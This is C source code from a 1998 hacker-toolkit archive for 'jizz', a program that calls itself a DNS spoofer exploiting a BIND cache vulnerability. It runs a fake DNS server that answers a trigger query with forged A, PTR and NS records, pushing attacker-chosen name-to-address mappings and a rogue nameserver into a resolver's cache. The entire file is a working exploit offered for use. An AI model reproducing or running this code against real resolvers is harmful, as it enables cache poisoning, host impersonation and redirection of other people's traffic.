home *** CD-ROM | disk | FTP | other *** search
/ The Elite Hackers Toolkit / TheEliteHackersToolkitVolume1_1998.rar / HACKERS.BIN / dos / linuxzone / jizz.c < prev    next >
C/C++ Source or Header  |  1998-09-13  |  12KB  |  499 lines

  1. #define VERSION ".01b"
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <stdarg.h>
  5. #include <strings.h>
  6. #include <errno.h>
  7. #include <sys/socket.h>
  8. #include <sys/types.h>
  9. #include <netinet/in.h>
  10.  
  11. #define MAXBUFSIZE        64*1024
  12.  
  13. #define DC_A            1
  14. #define DC_NS           2
  15. #define DC_CNAME        5
  16. #define DC_SOA          6
  17. #define DC_WKS          11
  18. #define DC_PTR          12
  19. #define DC_HINFO        13
  20. #define DC_MINFO        14
  21. #define DC_MX           15
  22. #define DC_TXT          16
  23.  
  24. typedef struct {
  25.   unsigned short id;
  26.  
  27.   unsigned char  rd:1;           /* recursion desired */
  28.   unsigned char  tc:1;           /* truncated message */
  29.   unsigned char  aa:1;           /* authoritive answer */
  30.   unsigned char  opcode:4;       /* purpose of message */
  31.   unsigned char  qr:1;           /* response flag */
  32.  
  33.   unsigned char  rcode:4;        /* response code */
  34.   unsigned char  unused:2;       /* unused bits */
  35.   unsigned char  pr:1;           /* primary server required (non standard) */
  36.   unsigned char  ra:1;           /* recursion available */
  37.  
  38.   unsigned short qdcount;
  39.   unsigned short ancount;
  40.   unsigned short nscount;
  41.   unsigned short arcount;
  42. } dnsheaderrec;
  43.  
  44. typedef struct {
  45.   unsigned short labellen;
  46.   char label[256];
  47.   unsigned short type;
  48.   unsigned short class;
  49.   unsigned long ttl;
  50.   unsigned short buflen;
  51.   char buf[256];
  52. } dnsrrrec;
  53.  
  54. typedef struct {
  55.   dnsheaderrec h;
  56.  
  57.   dnsrrrec qd[20];
  58.   dnsrrrec an[20];
  59.   dnsrrrec ns[20];
  60.   dnsrrrec ar[20];
  61. } dnsrec;
  62.  
  63. char *dnssprintflabel(char *s, char *buf, char *p);
  64. char *dnsaddlabel(char *p, char *label);
  65. void dnstxt2rr(dnsrrrec *rr, char *b);
  66. void dnsbuildpacket(dnsrec *dns, short qdcount, short ancount, short nscount, short arcount, ...);
  67. char *dnsaddbuf(char *p, void *buf, short len);
  68. int dnsmakerawpacket(dnsrec *dns, char *buf);
  69.  
  70. unsigned long rev_long(l) unsigned long l;
  71. {
  72.   unsigned long i = 0;
  73.   int n = sizeof(i);
  74.   while (n--) {
  75.     i = (i << 8) | (l & 255); l >>= 8;
  76.   }
  77.   return i;
  78. }
  79.  
  80. char *dnssprintflabel(char *s, char *buf, char *p)
  81. {
  82.   unsigned short i,len;
  83.   char *b=NULL;
  84.  
  85.   len=(unsigned short)*(p++);
  86.   while (len) {
  87.     while (len >= 0xC0) {
  88.       if (!b)
  89.         b=p+1;
  90.       p=buf+(ntohs(*((unsigned short *)(p-1))) & ~0xC000);
  91.       len=(unsigned short)*(p++);
  92.     }
  93.  
  94.     for (i=0;i<len;i++)
  95.       *(s++)=*(p++);
  96.  
  97.     *(s++)='.';
  98.  
  99.     len=(unsigned short)*(p++);
  100.   }
  101.  
  102.   *(s++)=0;
  103.   if (b)
  104.     return(b);
  105.  
  106.   return(p);
  107. }
  108.  
  109. char *dnsaddlabel(char *p, char *label)
  110. {
  111.   char *p1;
  112.  
  113.   while ((*label) && (label)) {
  114.     if ((*label == '.') && (!*(label+1)))
  115.       break;
  116.  
  117.     p1=strchr(label,'.');
  118.  
  119.     if (!p1)
  120.       p1=strchr(label,0);
  121.  
  122.     *(p++)=p1-label;
  123.     memcpy(p,label,p1-label);
  124.     p+=p1-label;
  125.  
  126.     label=p1;
  127.     if (*p1)
  128.       label++;
  129.   }
  130.   *(p++)=0;
  131.  
  132.   return(p);
  133. }
  134.  
  135. #define DEFAULTTTL 60*10
  136.  
  137. void dnstxt2rr(dnsrrrec *rr, char *b)
  138. {
  139.   char *tok[20], *p;
  140.   unsigned short numt=0, i;
  141.   static char *buf=NULL;
  142.  
  143.   if (!buf) {
  144.     if ((buf=malloc(1024)) == NULL) {
  145.       perror("malloc");
  146.       exit(-1);
  147.     }
  148.   }
  149.  
  150.   strcpy(buf,b);
  151.   p=strtok(buf," \t");
  152.   do {
  153.     tok[numt++]=p;
  154.   } while (p=strtok(NULL," \t"));
  155.  
  156.   p=dnsaddlabel(rr->label,tok[0]);
  157.   rr->labellen=p-rr->label;
  158.  
  159.   i=1;
  160.  
  161.   if (isdigit(*p))
  162.     rr->ttl=htonl(atol(tok[i++]));
  163.    else
  164.     rr->ttl=htonl(DEFAULTTTL);
  165.  
  166.   if (strcmp(tok[i],"IN") == 0)
  167.     i++;
  168.  
  169.   rr->class=htons(1);
  170.  
  171.   if (strcmp(tok[i],"A") == 0) {
  172.     i++;
  173.     rr->type=htons(DC_A);
  174.     if (i < numt) {
  175.       inet_aton(tok[i],rr->buf);
  176.       rr->buflen=4;
  177.     } else
  178.       rr->buflen=0;
  179.     return;
  180.   }
  181.  
  182.   if (strcmp(tok[i],"CNAME") == 0) {
  183.     i++;
  184.     rr->type=htons(DC_CNAME);
  185.     if (i < numt) {
  186.       p=dnsaddlabel(rr->buf,tok[i]);
  187.       rr->buflen=p-rr->buf;
  188.     } else
  189.       rr->buflen=0;
  190.     return;
  191.   }
  192.  
  193.   if (strcmp(tok[i],"NS") == 0) {
  194.     i++;
  195.     rr->type=htons(DC_NS);
  196.     if (i < numt) {
  197.       p=dnsaddlabel(rr->buf,tok[i]);
  198.       rr->buflen=p-rr->buf;
  199.     } else
  200.       rr->buflen=0;
  201.     return;
  202.   }
  203.  
  204.   if (strcmp(tok[i],"PTR") == 0) {
  205.     i++;
  206.     rr->type=htons(DC_PTR);
  207.     if (i < numt) {
  208.       p=dnsaddlabel(rr->buf,tok[i]);
  209.       rr->buflen=p-rr->buf;
  210.     } else
  211.       rr->buflen=0;
  212.     return;
  213.   }
  214.  
  215.   if (strcmp(tok[i],"MX") == 0) {
  216.     i++;
  217.     rr->type=htons(DC_MX);
  218.     if (i < numt) {
  219.       p=rr->buf;
  220.       *((unsigned short *)p)=htons(atoi(tok[i++])); p+=2;
  221.       p=dnsaddlabel(p,tok[i]);
  222.       rr->buflen=p-rr->buf;
  223.     } else
  224.       rr->buflen=0;
  225.     return;
  226.   }
  227. }
  228.  
  229. void dnsbuildpacket(dnsrec *dns, short qdcount, short ancount, short nscount, short arcount, ...)
  230. {
  231.   int i;
  232.   va_list va;
  233.  
  234.   dns->h.qdcount=htons(qdcount);
  235.   dns->h.ancount=htons(ancount);
  236.   dns->h.nscount=htons(nscount);
  237.   dns->h.arcount=htons(arcount);
  238.   dns->h.rcode=0;
  239.  
  240.   va_start(va, arcount);
  241.  
  242.   for (i=0;i<qdcount;i++)
  243.     dnstxt2rr(&dns->qd[i],va_arg(va, char *));
  244.  
  245.   for (i=0;i<ancount;i++)
  246.     dnstxt2rr(&dns->an[i],va_arg(va, char *));
  247.  
  248.   for (i=0;i<nscount;i++)
  249.     dnstxt2rr(&dns->ns[i],va_arg(va, char *));
  250.  
  251.   for (i=0;i<arcount;i++)
  252.     dnstxt2rr(&dns->ar[i],va_arg(va, char *));
  253.  
  254.  
  255.   va_end(va);
  256. }
  257.  
  258. char *dnsaddbuf(char *p, void *buf, short len)
  259. {
  260.   memcpy(p,buf,len);
  261.   return(p+len);
  262. }
  263.  
  264. int dnsmakerawpacket(dnsrec *dns, char *buf)
  265. {
  266.   char *p;
  267.   int i;
  268.   unsigned short len;
  269.  
  270.   memcpy(buf,&dns->h,sizeof(dnsheaderrec));
  271.  
  272.   p=buf+sizeof(dnsheaderrec);
  273.  
  274.   /********** Query ***********/
  275.   for (i=0;i<ntohs(dns->h.qdcount);i++) {
  276.     p=dnsaddbuf(p,dns->qd[i].label,dns->qd[i].labellen);
  277.     p=dnsaddbuf(p,&dns->qd[i].type,2);
  278.     p=dnsaddbuf(p,&dns->qd[i].class,2);
  279.   }
  280.  
  281.   /********** Answer ***********/
  282.   for (i=0;i<ntohs(dns->h.ancount);i++) {
  283.     p=dnsaddbuf(p,dns->an[i].label,dns->an[i].labellen);
  284.     p=dnsaddbuf(p,&dns->an[i].type,2);
  285.     p=dnsaddbuf(p,&dns->an[i].class,2);
  286.     p=dnsaddbuf(p,&dns->an[i].ttl,4);
  287.     len=htons(dns->an[i].buflen);
  288.     p=dnsaddbuf(p,&len,2);
  289.     p=dnsaddbuf(p,dns->an[i].buf,dns->an[i].buflen);
  290.   }
  291.  
  292.   /********** Nameservers ************/
  293.   for (i=0;i<ntohs(dns->h.nscount);i++) {
  294.     p=dnsaddbuf(p,dns->ns[i].label,dns->ns[i].labellen);
  295.     p=dnsaddbuf(p,&dns->ns[i].type,2);
  296.     p=dnsaddbuf(p,&dns->ns[i].class,2);
  297.     p=dnsaddbuf(p,&dns->ns[i].ttl,4);
  298.     len=htons(dns->ns[i].buflen);
  299.     p=dnsaddbuf(p,&len,2);
  300.     p=dnsaddbuf(p,dns->ns[i].buf,dns->ns[i].buflen);
  301.   }
  302.  
  303.   /********** Additional ************/
  304.   for (i=0;i<ntohs(dns->h.arcount);i++) {
  305.     p=dnsaddbuf(p,dns->ar[i].label,dns->ar[i].labellen);
  306.     p=dnsaddbuf(p,&dns->ar[i].type,2);
  307.     p=dnsaddbuf(p,&dns->ar[i].class,2);
  308.     p=dnsaddbuf(p,&dns->ar[i].ttl,4);
  309.     len=htons(dns->ar[i].buflen);
  310.     p=dnsaddbuf(p,&len,2);
  311.     p=dnsaddbuf(p,dns->ar[i].buf,dns->ar[i].buflen);
  312.   }
  313.  
  314.   return(p-buf);
  315. }
  316.  
  317. void main(int argc, char *argv[])
  318. {
  319.   int sock, fromlen, numread, len, query;
  320.   struct sockaddr_in sa, from, to;
  321.   struct in_addr rev;
  322.   char *buf, *sendbuf;
  323.   char *domainnamebuf;
  324.   dnsheaderrec *dns;
  325.   char *p;
  326.   dnsrec dnsh;
  327.  
  328.   char *beginhost_QD, *beginhost_A, *beginhost_srch;
  329.   char *fakenshost_A, *fakens_DOM;
  330.   char *spoofedip_A, *spoofedip_PTR, *spoofedip_rev;
  331.  
  332.   printf("jizz %s -- dns spoofer (BIND cache vuln.)\n",VERSION);
  333.   printf("by nimrood\n\n");
  334.   if (argc != 7) {
  335.     printf("usage: \n%s <beginhost> <fakenshost> <fakensip> <fakensdom> <spoofedip> <spoofedhost>\n",argv[0]);
  336.     printf("    beginhost  :     requested to initiate false caching, ex: begin.ib6ub9.com\n");
  337.     printf("    fakenshost :     server name to answer false PTR's, ex: ns.ib6ub9.com\n");
  338.     printf("    fakensip   :     IP of server name to answer false PTR's, ex: 205.160.29.19\n");
  339.     printf("    fakensdom  :     domain name false name server controls, ex: ib6ub9.com\n");
  340.     printf("    spoofedip  :     IP of machine you want to spoof from, ex: 204.154.2.93\n");
  341.     printf("    spoofedhost:     name you want to spoof, ex: teak.0wns.j00\n\n");
  342.     exit(-1);
  343.   }
  344.  
  345.   if ((beginhost_QD = malloc((strlen(argv[1]))+5+1)) == NULL) {
  346.     perror("malloc");
  347.     exit(-1);
  348.   }
  349.  
  350.   if ((beginhost_A = malloc(strlen(argv[1])+15+1)) == NULL) {
  351.     perror("malloc");
  352.     exit(-1);
  353.   }
  354.  
  355.   if ((beginhost_srch = malloc(strlen(argv[1])+1+1)) == NULL) {
  356.     perror("malloc");
  357.     exit(-1);
  358.   }
  359.  
  360.   if ((fakenshost_A = malloc(strlen(argv[2])+strlen(argv[3])+6+1)) == NULL) {
  361.     perror("malloc");
  362.     exit(-1);
  363.   }
  364.  
  365.   if ((fakens_DOM = malloc(strlen(argv[4])+strlen(argv[2])+4+1)) == NULL) {
  366.     perror("malloc");
  367.     exit(-1);
  368.   }
  369.  
  370.   if ((spoofedip_A = malloc(strlen(argv[6])+strlen(argv[5])+6+1)) == NULL) {
  371.     perror("malloc");
  372.     exit(-1);
  373.   }
  374.  
  375.   if ((spoofedip_PTR = malloc(strlen(argv[5])+strlen(argv[6])+21+1)) == NULL) {
  376.     perror("malloc");
  377.     exit(-1);
  378.   }
  379.  
  380.   if ((spoofedip_rev = malloc(strlen(argv[5])+1)) == NULL) {
  381.     perror("malloc");
  382.     exit(-1);
  383.   }
  384.  
  385.   if ((buf = malloc(MAXBUFSIZE)) == NULL) {
  386.     perror("malloc");
  387.     exit(-1);
  388.   }
  389.  
  390.   if ((sendbuf = malloc(MAXBUFSIZE)) == NULL) {
  391.     perror("malloc");
  392.     exit(-1);
  393.   }
  394.  
  395.   if ((domainnamebuf = malloc(MAXBUFSIZE)) == NULL) {
  396.     perror("malloc");
  397.     exit(-1);
  398.   }
  399.  
  400.   if ((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
  401.     perror("socket");
  402.     exit(-1);
  403.   }
  404.  
  405.   beginhost_QD = strcpy(beginhost_QD,argv[1]);
  406.   beginhost_QD = strcat(beginhost_QD, " IN A");
  407.  
  408.   beginhost_A = strcat(strcpy(beginhost_A,beginhost_QD), " 127.0.0.1");
  409.   
  410.   beginhost_srch = strcat(strcpy(beginhost_srch,argv[1]), ".");
  411.   printf("%s\n",beginhost_srch);
  412.  
  413.   fakenshost_A = strcat(strcpy(fakenshost_A,argv[2]), " IN A ");
  414.   fakenshost_A = strcat(fakenshost_A, argv[3]);
  415.  
  416.   fakens_DOM = strcat(strcpy(fakens_DOM,argv[4]), " IN NS ");
  417.   fakens_DOM = strcat(fakens_DOM,argv[2]);
  418.  
  419.   spoofedip_A = strcat(strcpy(spoofedip_A,argv[6]), " IN A ");
  420.   spoofedip_A = strcat(spoofedip_A,argv[5]);
  421.  
  422.   rev.s_addr = rev_long(inet_addr(argv[5]));
  423.   spoofedip_PTR = strcat(strcpy(spoofedip_PTR,(char *)inet_ntoa(rev.s_addr)), ".IN-ADDR.ARPA IN PTR ");
  424.   spoofedip_PTR = strcat(spoofedip_PTR,argv[6]);
  425.   
  426.   printf("%s\n%s\n%s\n%s\n%s\n%s\n",
  427.     beginhost_QD,beginhost_A,fakenshost_A,fakens_DOM,spoofedip_A,spoofedip_PTR);
  428.  
  429.   sa.sin_family = AF_INET;
  430. /*  sa.sin_addr.s_addr = inet_addr(DEFAULTBINDHOST); */
  431.   sa.sin_addr.s_addr = INADDR_ANY;
  432.   sa.sin_port = htons(53);
  433.   
  434.   if (bind(sock, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
  435.     perror("bind");
  436.     exit(-1);
  437.   }
  438.  
  439.   setvbuf(stdout,NULL,_IONBF,0);
  440.  
  441.   while (1) {
  442.     fromlen=sizeof(from);
  443.     if ((numread = recvfrom(sock, buf, MAXBUFSIZE, 0, (struct sockaddr *)&from, &fromlen)) < 0) {
  444.       perror("recvfrom");
  445.       continue;
  446.     }
  447.  
  448.     /* Kludge to stop that damn router */
  449.     if (from.sin_addr.s_addr == inet_addr("206.126.32.10"))
  450.       continue;
  451.  
  452.     dns=(dnsheaderrec *)buf;
  453.  
  454.     if (dns->qr)
  455.       continue;
  456.  
  457.     p=dnssprintflabel(domainnamebuf,buf,&buf[sizeof(dnsheaderrec)]);
  458.     query=ntohs(*(unsigned short *)p);
  459.     printf("Packet from %s : %d : %s (%d)\n",inet_ntoa(from.sin_addr),ntohs(from.sin_port),domainnamebuf,query);
  460.  
  461.     if (strcasecmp(domainnamebuf,beginhost_srch) == 0) {
  462.       dnsbuildpacket(&dnsh,1,4,1,1,
  463.     beginhost_QD,
  464.  
  465.     beginhost_A,
  466.     spoofedip_A,
  467.     spoofedip_PTR,
  468.      fakenshost_A,
  469.  
  470.         fakens_DOM,
  471.  
  472.     "www.yahoo.com IN A 255.255.255.255");
  473.  
  474.     } else {
  475.       /* Error */
  476.       dnsh.h.rcode=5;
  477.       strcat(domainnamebuf," IN A");
  478.       dnsbuildpacket(&dnsh,1,0,0,0,
  479.         domainnamebuf);
  480.     }
  481.     dnsh.qd[0].type=htons(query);
  482.  
  483.     dnsh.h.id=((dnsheaderrec *)buf)->id;
  484.     dnsh.h.qr=1;
  485.     dnsh.h.aa=1;
  486.     
  487.     len=dnsmakerawpacket(&dnsh,sendbuf);
  488.  
  489.     to.sin_family=AF_INET;
  490.     to.sin_addr.s_addr=from.sin_addr.s_addr;
  491.     to.sin_port=from.sin_port;
  492.  
  493.     if (sendto(sock,sendbuf,len,0,(struct sockaddr *)&to,sizeof(to)) < 0) {
  494.       perror("sendto");
  495.       continue;
  496.     }
  497.   }
  498. }
  499.